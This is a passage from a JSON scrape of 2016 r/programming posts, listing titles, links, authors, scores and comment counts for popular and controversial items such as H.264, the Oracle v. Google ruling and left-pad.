  "subreddit": "programming",
  "score": 2935,
  "upvoteRatio": 0.93,
  "numComments": 283,
  "createdAt": "2016-11-14T18:59:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://datarebellion.com/blog/to-learn-programming-do-projects-you-actually-care-about/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5b31gt",
  "url": "https://sidbala.com/h-264-is-magic/",
  "permalink": "https://www.reddit.com/r/programming/comments/5b31gt/h264_is_magic/",
  "title": "H.264 is Magic",
  "body": null,
  "author": "willvarfar",
  "subreddit": "programming",
  "score": 3930,
  "upvoteRatio": 0.91,
  "numComments": 417,
  "createdAt": "2016-11-04T11:36:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sidbala.com/h-264-is-magic/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5apqj3",
  "url": "http://blog.bugreplay.com/post/152579164219/pornhubdodgesadblockersusingwebsockets?utm_source=reddit-programming&utm_medium=post",
  "permalink": "https://www.reddit.com/r/programming/comments/5apqj3/pornhub_bypasses_ad_blockers_with_websockets/",
  "title": "Pornhub Bypasses Ad Blockers With WebSockets",
  "body": null,
  "author": "EdibleEnergy",
  "subreddit": "programming",
  "score": 3473,
  "upvoteRatio": 0.91,
  "numComments": 914,
  "createdAt": "2016-11-02T13:02:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.bugreplay.com/post/152579164219/pornhubdodgesadblockersusingwebsockets?utm_source=reddit-programming&utm_medium=post",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_58b00l",
  "url": "http://www.pcworld.com/article/3125113/oracle-denied-new-trial-in-copyright-dispute-with-google-over-java.html",
  "permalink": "https://www.reddit.com/r/programming/comments/58b00l/oracle_denied_new_trial_in_copyright_dispute_with/",
  "title": "Oracle denied new trial in copyright dispute with Google over Java",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3000,
  "upvoteRatio": 0.95,
  "numComments": 489,
  "createdAt": "2016-10-19T15:52:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.pcworld.com/article/3125113/oracle-denied-new-trial-in-copyright-dispute-with-google-over-java.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5741xk",
  "url": "https://robinlinus.github.io/socialmedia-leak/",
  "permalink": "https://www.reddit.com/r/programming/comments/5741xk/your_social_media_fingerprint/",
  "title": "Your Social Media Fingerprint",
  "body": null,
  "author": "stanislavb",
  "subreddit": "programming",
  "score": 5990,
  "upvoteRatio": 0.93,
  "numComments": 437,
  "createdAt": "2016-10-12T13:29:55.000Z",
  "isNsfw": true,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://robinlinus.github.io/socialmedia-leak/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5687dg",
  "url": "https://medium.com/@Pier/why-i-hate-ios-as-a-developer-459c182e8a72",
  "permalink": "https://www.reddit.com/r/programming/comments/5687dg/why_i_hate_ios_as_a_developer/",
  "title": "Why I hate iOS as a developer",
  "body": null,
  "author": "pier25",
  "subreddit": "programming",
  "score": 3305,
  "upvoteRatio": 0.88,
  "numComments": 1047,
  "createdAt": "2016-10-06T22:43:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@Pier/why-i-hate-ios-as-a-developer-459c182e8a72",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_55okik",
  "url": "https://medium.com/@jjperezaguinaga/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f#.758uh588b",
  "permalink": "https://www.reddit.com/r/programming/comments/55okik/how_it_feels_to_learn_javascript_in_2016_xpost/",
  "title": "How it feels to learn Javascript in 2016 [x-post from /r/javascript]",
  "body": null,
  "author": "jjperezaguinaga",
  "subreddit": "programming",
  "score": 3512,
  "upvoteRatio": 0.94,
  "numComments": 855,
  "createdAt": "2016-10-03T16:45:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@jjperezaguinaga/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f#.758uh588b",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_54f62f",
  "url": "https://hackernoon.com/the-decline-of-stack-overflow-7cb69faa575d#.yiuo0ce09",
  "permalink": "https://www.reddit.com/r/programming/comments/54f62f/the_decline_of_stack_overflow/",
  "title": "The decline of Stack Overflow",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3077,
  "upvoteRatio": 0.86,
  "numComments": 1184,
  "createdAt": "2016-09-25T13:50:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hackernoon.com/the-decline-of-stack-overflow-7cb69faa575d#.yiuo0ce09",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_53bzai",
  "url": "https://www.scrollytelling.io/al-jazeera.html",
  "permalink": "https://www.reddit.com/r/programming/comments/53bzai/dear_aljazeera_why_steal_our_code/",
  "title": "Dear Al-Jazeera: Why Steal Our Code?",
  "body": null,
  "author": "izpo",
  "subreddit": "programming",
  "score": 4205,
  "upvoteRatio": 0.89,
  "numComments": 411,
  "createdAt": "2016-09-18T12:38:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.scrollytelling.io/al-jazeera.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_527jc5",
  "url": "https://procedural.github.io/post/22nd-Century-C/",
  "permalink": "https://www.reddit.com/r/programming/comments/527jc5/22nd_century_c/",
  "title": "22nd Century C",
  "body": null,
  "author": "dirkt",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 70,
  "createdAt": "2016-09-11T07:31:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://procedural.github.io/post/22nd-Century-C/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_51wixe",
  "url": "http://ohshitgit.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/51wixe/oh_shit_git/",
  "title": "Oh, shit, git!",
  "body": null,
  "author": "sidcool1234",
  "subreddit": "programming",
  "score": 3344,
  "upvoteRatio": 0.9,
  "numComments": 757,
  "createdAt": "2016-09-09T09:23:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://ohshitgit.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4zp5dt",
  "url": "https://jaxenter.com/aaaand-gone-true-cost-interruptions-128741.html",
  "permalink": "https://www.reddit.com/r/programming/comments/4zp5dt/the_true_cost_of_interruptions_game_developer/",
  "title": "The true cost of interruptions: Game Developer Magazine discovered that a programmer needs up to 15 minutes to start editing code again following an interruption.",
  "body": null,
  "author": "yourbasicgeek",
  "subreddit": "programming",
  "score": 7532,
  "upvoteRatio": 0.93,
  "numComments": 825,
  "createdAt": "2016-08-26T15:26:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jaxenter.com/aaaand-gone-true-cost-interruptions-128741.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4ycum1",
  "url": "http://www.zdnet.com/article/microsoft-open-sources-powershell-brings-it-to-linux-and-mac-os-x/",
  "permalink": "https://www.reddit.com/r/programming/comments/4ycum1/microsoft_open_sources_powershell_brings_it_to/",
  "title": "Microsoft open sources PowerShell; brings it to Linux and Mac OS X",
  "body": null,
  "author": "nwoolls",
  "subreddit": "programming",
  "score": 4260,
  "upvoteRatio": 0.9,
  "numComments": 1220,
  "createdAt": "2016-08-18T15:22:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.zdnet.com/article/microsoft-open-sources-powershell-brings-it-to-linux-and-mac-os-x/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4x2sjl",
  "url": "http://varianceexplained.org/r/trump-tweets/",
  "permalink": "https://www.reddit.com/r/programming/comments/4x2sjl/text_analysis_of_trumps_tweets_confirms_he_writes/",
  "title": "Text analysis of Trump's tweets confirms he writes only the (angrier) Android half",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 6919,
  "upvoteRatio": 0.85,
  "numComments": 455,
  "createdAt": "2016-08-10T15:51:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://varianceexplained.org/r/trump-tweets/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4wnghb",
  "url": "http://boxbase.org/entries/2016/aug/8/javascript-pyramids/",
  "permalink": "https://www.reddit.com/r/programming/comments/4wnghb/javascript_continent_and_the_callback_pyramids_of/",
  "title": "Javascript continent and the callback pyramids of hell",
  "body": null,
  "author": "htuhola",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.5,
  "numComments": 31,
  "createdAt": "2016-08-07T23:59:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://boxbase.org/entries/2016/aug/8/javascript-pyramids/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4wfasw",
  "url": "http://siliconangle.com/blog/2016/08/05/watson-correctly-diagnoses-woman-after-doctors-were-stumped/",
  "permalink": "https://www.reddit.com/r/programming/comments/4wfasw/ibms_watson_makes_a_correct_diagnosis_after/",
  "title": "IBM's Watson makes a correct diagnosis after woman's condition stumps experts.",
  "body": null,
  "author": "damian2000",
  "subreddit": "programming",
  "score": 5657,
  "upvoteRatio": 0.92,
  "numComments": 436,
  "createdAt": "2016-08-06T09:56:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://siliconangle.com/blog/2016/08/05/watson-correctly-diagnoses-woman-after-doctors-were-stumped/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4v1y12",
  "url": "https://github.com/Droogans/unmaintainable-code",
  "permalink": "https://www.reddit.com/r/programming/comments/4v1y12/how_to_write_unmaintainable_code/",
  "title": "How to write unmaintainable code",
  "body": null,
  "author": "sigbhu",
  "subreddit": "programming",
  "score": 3380,
  "upvoteRatio": 0.9,
  "numComments": 594,
  "createdAt": "2016-07-28T17:37:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/Droogans/unmaintainable-code",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4uitu9",
  "url": "https://blog.gdatasoftware.com/2016/07/28809-world-of-warcraft-one-simple-line-of-code-can-cost-you-dearly",
  "permalink": "https://www.reddit.com/r/programming/comments/4uitu9/world_of_warcraft_one_simple_line_of_code_can/",
  "title": "World of Warcraft: one simple line of code can cost you dearly",
  "body": null,
  "author": "insane0hflex",
  "subreddit": "programming",
  "score": 2977,
  "upvoteRatio": 0.9,
  "numComments": 402,
  "createdAt": "2016-07-25T14:21:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.gdatasoftware.com/2016/07/28809-world-of-warcraft-one-simple-line-of-code-can-cost-you-dearly",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4t8vrd",
  "url": "http://react-etc.net/entry/your-license-to-use-react-js-can-be-revoked-if-you-compete-with-facebook",
  "permalink": "https://www.reddit.com/r/programming/comments/4t8vrd/your_license_to_use_reactjs_can_be_revoked_if_you/",
  "title": "Your license to use React.js can be revoked if you compete with Facebook",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 17,
  "upvoteRatio": 0.54,
  "numComments": 16,
  "createdAt": "2016-07-17T08:43:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://react-etc.net/entry/your-license-to-use-react-js-can-be-revoked-if-you-compete-with-facebook",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4sbp8b",
  "url": "http://www.youtube.com/attribution_link?a=mtGYHwv-KQs&u=/watch%3Fv%3DjOyfZex7B3E",
  "permalink": "https://www.reddit.com/r/programming/comments/4sbp8b/sega_saturn_cd_cracked_after_20_years/",
  "title": "Sega Saturn CD - Cracked after 20 years",
  "body": null,
  "author": "amaiorano",
  "subreddit": "programming",
  "score": 3160,
  "upvoteRatio": 0.91,
  "numComments": 431,
  "createdAt": "2016-07-11T16:11:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.youtube.com/attribution_link?a=mtGYHwv-KQs&u=/watch%3Fv%3DjOyfZex7B3E",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4s37pk",
  "url": "http://qz.com/726338/the-code-that-took-america-to-the-moon-was-just-published-to-github-and-its-like-a-1960s-time-capsule/",
  "permalink": "https://www.reddit.com/r/programming/comments/4s37pk/the_code_that_took_america_to_the_moon_was_just/",
  "title": "The code that took America to the moon was just published to GitHub, and it’s like a 1960s time capsule",
  "body": null,
  "author": "watchmakerfromfuture",
  "subreddit": "programming",
  "score": 6024,
  "upvoteRatio": 0.92,
  "numComments": 418,
  "createdAt": "2016-07-10T00:56:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://qz.com/726338/the-code-that-took-america-to-the-moon-was-just-published-to-github-and-its-like-a-1960s-time-capsule/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4ro3dv",
  "url": "https://www.quora.com/Homework-Question-How-do-I-write-a-program-that-produces-the-following-output-1",
  "permalink": "https://www.reddit.com/r/programming/comments/4ro3dv/a_student_asked_quora_to_do_his_homework_for_him/",
  "title": "A student asked Quora to do his homework for him. Oh we can be brutal.",
  "body": null,
  "author": "MCSajjadH",
  "subreddit": "programming",
  "score": 3665,
  "upvoteRatio": 0.89,
  "numComments": 572,
  "createdAt": "2016-07-07T11:36:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.quora.com/Homework-Question-How-do-I-write-a-program-that-produces-the-following-output-1",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4r7il2",
  "url": "https://medium.com/@bozhobg/bulgaria-got-a-law-requiring-open-source-98bf626cf70a#.mw66gspvz",
  "permalink": "https://www.reddit.com/r/programming/comments/4r7il2/bulgaria_got_a_law_requiring_open_source_for_all/",
  "title": "Bulgaria got a law requiring Open Source for all software written for the government",
  "body": null,
  "author": "shadowmarn",
  "subreddit": "programming",
  "score": 9033,
  "upvoteRatio": 0.93,
  "numComments": 391,
  "createdAt": "2016-07-04T14:46:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@bozhobg/bulgaria-got-a-law-requiring-open-source-98bf626cf70a#.mw66gspvz",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4oq3yd",
  "url": "https://github.com/a1studmuffin/SpaceshipGenerator",
  "permalink": "https://www.reddit.com/r/programming/comments/4oq3yd/a_blender_script_that_procedurally_generates_3d/",
  "title": "A blender script that procedurally generates 3D starships",
  "body": null,
  "author": "erkaman",
  "subreddit": "programming",
  "score": 2993,
  "upvoteRatio": 0.92,
  "numComments": 157,
  "createdAt": "2016-06-18T20:16:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/a1studmuffin/SpaceshipGenerator",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4nm8de",
  "url": "https://github.com/sequelize/cli/issues/291",
  "permalink": "https://www.reddit.com/r/programming/comments/4nm8de/how_you_know_youre_fucked_when_you_google_a/",
  "title": "How you know you're fucked: when you google a compilation error and find GitHub issues instead of StackOverflow questions",
  "body": null,
  "author": "danield9tqh",
  "subreddit": "programming",
  "score": 7441,
  "upvoteRatio": 0.91,
  "numComments": 527,
  "createdAt": "2016-06-11T17:07:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/sequelize/cli/issues/291",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4nbhgp",
  "url": "https://dev.to/ben/code-is-suffering",
  "permalink": "https://www.reddit.com/r/programming/comments/4nbhgp/code_is_suffering/",
  "title": "Code is Suffering",
  "body": null,
  "author": "bhalp1",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.52,
  "numComments": 23,
  "createdAt": "2016-06-09T16:04:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dev.to/ben/code-is-suffering",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4lx3sh",
  "url": "http://lbstanza.org/purpose_of_programming_languages.html",
  "permalink": "https://www.reddit.com/r/programming/comments/4lx3sh/stop_designing_languages_write_libraries_instead/",
  "title": "\"Stop Designing Languages. Write Libraries Instead.\"",
  "body": null,
  "author": "patricksli",
  "subreddit": "programming",
  "score": 3042,
  "upvoteRatio": 0.92,
  "numComments": 814,
  "createdAt": "2016-05-31T19:43:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://lbstanza.org/purpose_of_programming_languages.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4l77w2",
  "url": "http://arstechnica.com/tech-policy/2016/05/google-wins-trial-against-oracle-as-jury-finds-android-is-fair-use/",
  "permalink": "https://www.reddit.com/r/programming/comments/4l77w2/google_wins_trial_against_oracle_as_jury_finds/",
  "title": "Google wins trial against Oracle as jury finds Android is “fair use”",
  "body": null,
  "author": "hondaaccords",
  "subreddit": "programming",
  "score": 21425,
  "upvoteRatio": 0.95,
  "numComments": 1261,
  "createdAt": "2016-05-26T20:06:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://arstechnica.com/tech-policy/2016/05/google-wins-trial-against-oracle-as-jury-finds-android-is-fair-use/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4kt4tc",
  "url": "https://github.com/CRYTEK-CRYENGINE/CRYENGINE",
  "permalink": "https://www.reddit.com/r/programming/comments/4kt4tc/cryengine_now_available_on_github/",
  "title": "CRYENGINE now available on github",
  "body": null,
  "author": "sunnlok",
  "subreddit": "programming",
  "score": 3726,
  "upvoteRatio": 0.91,
  "numComments": 423,
  "createdAt": "2016-05-24T10:33:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/CRYTEK-CRYENGINE/CRYENGINE",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4kie62",
  "url": "http://www.nytimes.com/2016/05/22/opinion/sunday/to-write-software-read-novels.html",
  "permalink": "https://www.reddit.com/r/programming/comments/4kie62/to_write_better_code_read_virginia_woolf_nyt/",
  "title": "To Write Better Code, Read Virginia Woolf (NYT)",
  "body": null,
  "author": "jdstuart",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 63,
  "createdAt": "2016-05-22T12:38:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.nytimes.com/2016/05/22/opinion/sunday/to-write-software-read-novels.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4kdmmb",
  "url": "http://wiki.gkbrk.com/Hotel_Music.html",
  "permalink": "https://www.reddit.com/r/programming/comments/4kdmmb/reverse_engineering_a_mysterious_udp_stream_in_my/",
  "title": "Reverse Engineering a Mysterious UDP Stream in My Hotel",
  "body": null,
  "author": "javinpaul",
  "subreddit": "programming",
  "score": 7064,
  "upvoteRatio": 0.94,
  "numComments": 349,
  "createdAt": "2016-05-21T13:46:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://wiki.gkbrk.com/Hotel_Music.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4i97ya",
  "url": "http://www.cybertec.at/2016/05/beating-uber-with-a-postgresql-prototype/",
  "permalink": "https://www.reddit.com/r/programming/comments/4i97ya/beating_uber_with_a_postgresql_prototype/",
  "title": "Beating Uber with a PostgreSQL prototype",
  "body": null,
  "author": "h1volt3",
  "subreddit": "programming",
  "score": 51,
  "upvoteRatio": 0.54,
  "numComments": 68,
  "createdAt": "2016-05-07T08:05:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.cybertec.at/2016/05/beating-uber-with-a-postgresql-prototype/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4fy1xg",
  "url": "https://mobiforge.com/research-analysis/the-web-is-doom",
  "permalink": "https://www.reddit.com/r/programming/comments/4fy1xg/average_website_is_now_the_size_of_doom/",
  "title": "Average website is now the size of Doom",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3698,
  "upvoteRatio": 0.91,
  "numComments": 479,
  "createdAt": "2016-04-22T11:36:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mobiforge.com/research-analysis/the-web-is-doom",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4fn8go",
  "url": "https://www.laserfiche.com/simplicity/shut-up-imposter-syndrome-i-can-too-program/",
  "permalink": "https://www.reddit.com/r/programming/comments/4fn8go/feeling_like_everyone_is_a_better_software/",
  "title": "Feeling like everyone is a better software developer than you and that someday you'll be found out? You're not alone. One of the professions most prone to \"imposter syndrome\" is software development.",
  "body": null,
  "author": "wheeler1432",
  "subreddit": "programming",
  "score": 4533,
  "upvoteRatio": 0.92,
  "numComments": 851,
  "createdAt": "2016-04-20T13:10:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.laserfiche.com/simplicity/shut-up-imposter-syndrome-i-can-too-program/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4eyyhm",
  "url": "https://www.youtube.com/watch?v=cKxRvEZd3Mw",
  "permalink": "https://www.reddit.com/r/programming/comments/4eyyhm/google_has_started_a_new_video_series_teaching/",
  "title": "Google has started a new video series teaching machine learning and I can actually understand it.",
  "body": null,
  "author": "damontoo",
  "subreddit": "programming",
  "score": 4528,
  "upvoteRatio": 0.95,
  "numComments": 357,
  "createdAt": "2016-04-15T21:37:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=cKxRvEZd3Mw",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4ead0e",
  "url": "http://tnw.to/i4zix",
  "permalink": "https://www.reddit.com/r/programming/comments/4ead0e/google_considering_making_swift_a_first_class/",
  "title": "Google considering making Swift a first class language for Android",
  "body": null,
  "author": "IWantUsToMerge",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 30,
  "createdAt": "2016-04-11T11:50:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://tnw.to/i4zix",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4clk26",
  "url": "http://techcrunch.com/2016/03/30/be-very-afraid-hell-has-frozen-over-bash-is-coming-to-windows-10/",
  "permalink": "https://www.reddit.com/r/programming/comments/4clk26/microsoft_is_bringing_the_bash_shell_to_windows_10/",
  "title": "Microsoft is bringing the Bash shell to Windows 10",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 5527,
  "upvoteRatio": 0.93,
  "numComments": 1156,
  "createdAt": "2016-03-30T16:35:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://techcrunch.com/2016/03/30/be-very-afraid-hell-has-frozen-over-bash-is-coming-to-windows-10/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4caow0",
  "url": "https://www.youtube.com/watch?v=hB6eY73sLV0",
  "permalink": "https://www.reddit.com/r/programming/comments/4caow0/yesterday_i_used_glitches_to_inject_the_source/",
  "title": "Yesterday, I used glitches to inject the source code for Flappy Bird into Super Mario World on SNES. Here’s how.",
  "body": null,
  "author": "SethBling",
  "subreddit": "programming",
  "score": 10790,
  "upvoteRatio": 0.91,
  "numComments": 545,
  "createdAt": "2016-03-28T15:47:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=hB6eY73sLV0",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4bqj7q",
  "url": "http://left-pad.io/",
  "permalink": "https://www.reddit.com/r/programming/comments/4bqj7q/left_pad_as_a_service/",
